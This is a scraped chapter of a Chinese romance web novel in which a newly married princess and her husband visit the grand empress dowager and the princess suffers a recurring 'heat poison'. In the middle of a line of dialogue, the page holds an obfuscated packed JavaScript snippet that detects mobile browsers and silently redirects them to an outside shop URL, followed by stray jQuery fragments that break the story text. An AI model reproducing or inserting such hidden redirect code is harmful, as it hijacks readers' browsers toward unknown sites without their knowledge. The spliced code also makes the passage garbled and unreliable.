文趣网 > 其他小说 > 全京城都没驸马好使 > 5. 第 5 章
    次日一早,裴砚预备入宫给太皇太后请安。盥洗更衣毕,转道正院看公主是否起身。

    行至正房,见房门虚掩,里外竟无一人伺候。公主府规矩森严,不该如此疏忽,许是公主有令,裴砚思忖间抬步而入。

    撩开内室层叠的珠翠,只见帐内萧兰因睡得甜香,一张鹅蛋小脸掩映在如瀑青丝间,娇态可掬。

    裴砚心头微荡,鬼使神差地伸指轻触她面颊。

    指尖温软,她似有所感,偏脸蹭了蹭。裴砚触电般缩回手,下意识清咳一声,又恐扰了她清梦,只得生生忍住。

    恰在此时,珠帘脆响,裴砚闻声看去,正是公主跟前最得脸的大丫鬟沉绿立于门口。

    沉绿骤见驸马在内,也是吓了一跳,忙不迭垂首退至外间,不敢多看。

    萧兰因迷迷糊糊地睁开眼,视线朦胧间,竟见榻边坐着个人影,她心口猛地一跳,还当是自己是梦魇未醒,下意识撑身坐起,才惊觉不是梦,确是裴砚坐在她榻边。

    “大清早的,你坐在我床边作甚?”萧兰因拍着胸口,忍不住出声抱怨。

    “公主身子可好些了?”裴砚也意识到自己吓着她了,温声解释道:“方才我进房,见外头没人守着,便径直来了。”

    又瞥了她胸口一眼,“公主身子若是好些了,起身梳洗吧,趁着时辰还早,咱们进宫给太皇太后请安。”

    萧兰因顺着他的视线低头一瞥,只见她寝衣领口大敞,那件嫣红肚兜歪歪斜斜地挂在胸前,堪堪遮掩着几分。

    忍不住暗骂,这个色胚,平日里端得倒是正经,这时候眼睛又知道往哪儿瞅了。

    脸颊腾地烧了起来,她嗖地一下缩回锦被,将那肚兜裹了个严实,方才伸出脚踩在脚踏上,朝外喊道:“来人!”

    沉绿闻声,忙不迭掀了帘子进来,见状赶紧服侍公主穿鞋,伺候她一道进了浴间。

    萧兰因忍不住出声斥责,“我昨儿晚上不就吩咐过了,不许放人进门,你是怎么当的差?”

    沉绿满脸羞愧:“是奴婢的错,奴婢知罪。”

    到底是跟了自己多年的老人,萧兰因也不是真要责罚,就是心里别扭,看她认错态度诚恳,没好气地嗔道:“还敢再犯,看本宫不把你嫁出去。”

    沉绿忙道:“奴婢不敢。”

    她知道公主只是嘴硬,像昨儿夜里,嘴里说着把门闩上不许放驸马进来,实则心里巴不得驸马自个闯进来,可主子既然发了话,她做奴婢的自是要听命行事。

    早上她估摸着公主该起身了,便让拂枝先去厨房吩咐了热水,自己等着伺候公主梳洗,没一会儿,外院的管事嬷嬷来传话,说方才来了位公公,不知名姓,但指明要见她,她们没辙,只能来通传。

    沉绿想着莫不是陛下或是皇后派人过来关心公主起居,也不敢耽搁,就叫房里两个新提拔上的小丫鬟紫烟、碧荷候着,自己往外院去了。

    这两个小丫鬟原先也在知乐殿当差,公主大婚跟着一道进了公主府,沉绿估摸着她们在,不至于出什么岔子。

    可她一回来,驸马已经进了房,她当时就知道不好。

    问紫烟、碧荷两个,都支支吾吾的,半天才解释清楚,她们是听见有人喊厨房走水了!让她们去盯着人救火,别蔓延到正院来,当下哪敢耽搁,便赶紧去了,可到厨房一看,才知道走水一事根本是子虚乌有。

    沉绿听得心惊肉跳的,她方才去外院,也是白跑一趟,那什么公公的,早在她过去的路上人就撒丫子跑路了。

    沉绿将来龙去脉一捋,哪不知道是有人故意设计。

    公主府伺候的丫鬟小厮自是精挑细选的,沉绿自个儿也过了一遍又一遍,没曾想还混进了些漏网之鱼。

    所幸今儿只是驸马进了屋,虚惊一场,这万一出了什么意外,她是十个脑袋也不够砍的,眼下被公主斥责,她是二话不敢说。

    伺候公主洗漱好,又叫了那两个小丫鬟进来一并服侍公主梳妆,忙活了好一会儿,萧兰因又对着菱花铜镜左右端详了半晌,这才起身,同裴砚一道用了早膳,便往宫里去了。

    细算时辰,这会儿已近巳时,再过一个时辰就到该用午膳的时候,出门委实算不上早了,更何况从公主府一路赶去皇宫,皇宫里马车禁行,到了宫门口,还要换步辇入后宫。

    太皇太后喜静,颐华宫坐落在皇宫极深处,光是在这重重宫阙里绕行,就得耗上小半个时辰,这要是换做那些孙儿媳妇,只怕五更天就得起身准备,万不敢在这点儿才到。好在萧兰因是嫡亲孙女,哪怕来迟些,老人家心里也高兴。

    一路七拐八弯,总算是到了地界,萧兰因下了步辇,早有内侍在宫门处候着,见公主和驸马爷到了,赶紧上前见礼,随后领着二人往里去。

    引路的小内侍唤作小安子,也是颐华宫的老人了,一路上笑逐颜开:“太皇太后自打公主大婚以后,心情那是极好的,每日饭量都见长,今儿一早起来,足足喝了两碗百合莲子粥呢。”

    萧兰因听了只觉无奈。皇祖母出自安国公府,安国公嫡次子季霆年长她两岁,皇祖母从前也不是没有打过将她许给季霆的主意,那时每逢提起,她不是打哈哈,就是转移话题,皇祖母大约也瞧出了她没那意思,再没提过这茬。

    她原以为皇祖母不是那爱瞎操心的性子,如今看来倒是她将老人家想得太通透了,到底跟她父皇母后一个样,只恨不得她赶紧打发出去,心里才踏实。

    说话间已至暖阁,太皇太后正靠紫檀榻上打盹,听见宫人通传,她立马直起身子坐正了,理了理衣襟,朝帘外笑道:“快进来吧。”

    萧兰因领着裴砚行了大礼,裴砚还硬着头皮呈上了母亲给他备的绣礼,太皇太后看着梳起妇人髻的孙女儿,眼中满是慈爱,再看一旁的裴砚,身姿挺拔,眉目清隽,端的是个难得的俊俏儿郎。

    赞道:“你母亲出了名的贤惠,教出来的孩子也端方,”又拉过萧兰因的手,“这丫头自幼被哀家惯坏了,性子难免娇纵。驸马往后多担待些。”

    裴砚恭谨道:“太皇太后放心,微臣既已与公主结发,定当视她如珠如宝,绝不敢有半分慢待。”

    太皇太后听得满意,一旁的萧兰因听得直冒火,这人打成婚起,就没给过她好脸色,这会子倒会做表面功夫,小嘴一撇,娇嗔道:“皇祖母,您这是嫁出去的孙女泼出去的水,往后他欺负我,您难

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684496|207777||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    道不给孙女做主?”

    太皇太后朝身旁嬷嬷吩咐道:“去,给公主和驸马搬个杌子来,搁得近些,让哀家再好生瞧瞧。”

    这才转头朝孙女儿打趣道:“哀家瞧驸马这沉稳的模样,就不像个会欺负人的,倒是你这丫头,平日里刁钻古怪,往后欺负他还差不多。”

    萧兰因搬着杌子坐在皇祖母身旁,不满道:“皇祖母!您怎么帮着外人说话呀!”

    太皇太后语重心长道:“你们才成婚,少不得需要些日子磨合,且不可任性妄为。”

    裴砚连忙表态:“太皇太后说是的,微臣定会与公主好好相处。”

    萧兰因瞪他一眼:“就你会说话。”

    太皇太后看着这小两口打情骂俏,一个娇俏灵动,一个温润如玉,真真是天造地设的一对璧人儿。

    她只觉自己仿佛回到了年轻时,看着儿女绕膝的那段日子,转头叫嬷嬷去张罗午膳,执意要留小两口陪着一道用了午膳,再许他们回府。

    一顿饭用下来,再出宫回府,便到了未时末刻,裴砚回书房看书,萧兰因则回正房看话本子消遣,两人各不打搅。

    不多时到了晚膳时分,两人一道用了饭,萧兰因一回房,又吩咐了沉绿守好门绝不许放人进来。

    沉绿愁得直叹气,觉得这样下去长此以往也不是个事儿,可主子下了吩咐,她做奴婢的也只得照办。

    那厢裴砚又听得公主身子不适,想起她白日在颐华宫那般活波乱跳的模样,总算回味出些许不对味来。

    他回到书房独自踱步,眉头微蹙,不由得开始反省,莫不是那夜自己初次上阵,不得要领,伺候得不够周全,叫公主不满意了,这才连门都不让他进?

    念及此处,又翻出几册婚前看过的古籍,借着烛光,一行行一字字地重新研读起来,誓要将这伺候人的学问再好好研习一番。

    再说萧兰因那头,由丫鬟们伺候着睡下,起初倒还安稳,可不多时,一股莫名的燥意从心口漫了上来,如燎原野火般迅速蔓延至四肢百骸,她蹙眉扯开领口,只觉身上那件轻薄的素纱寝衣十分碍事起来,恨不得将它们尽数撕扯下来,方能解半分心头之痒。

    外头守夜的沉绿听得屋内异样,赶忙起身披了衣裳,挑帘入内查看情况,借着昏黄的烛火,她见公主面色潮红,神情恍惚,竟与前一阵子在知乐殿热毒发作的情形一般无二。

    沉绿心下大惊,连忙道:“公主,您这是热毒又犯了,奴婢去请驸马过来可好?”

    萧兰因原本确有几分意动,可听得沉绿这般提起,她心里那股别扭劲儿上来,刚升起的那点儿念头被压了下去,冷哼道:“谁要他来?我就不信那什么劳子热度,能要了本宫的命不成?”

    “公主!”沉绿是真拿这位倔主子没辙,急得直跺脚,眼可见的瞧者她面上潮红愈来愈重,深知此刻绝非赌气的时候,只能硬着头皮苦劝道:

    “公主,这会子身子要紧,万使不得性子。若是真耽搁了,身子日后有什么妨碍,便是再后悔也无事于补。奴婢这就派人去请驸马,纵是您责怪,事后发落奴婢,奴婢也无二话!”

    萧兰因软绵绵地瞪了她一眼:“你敢!”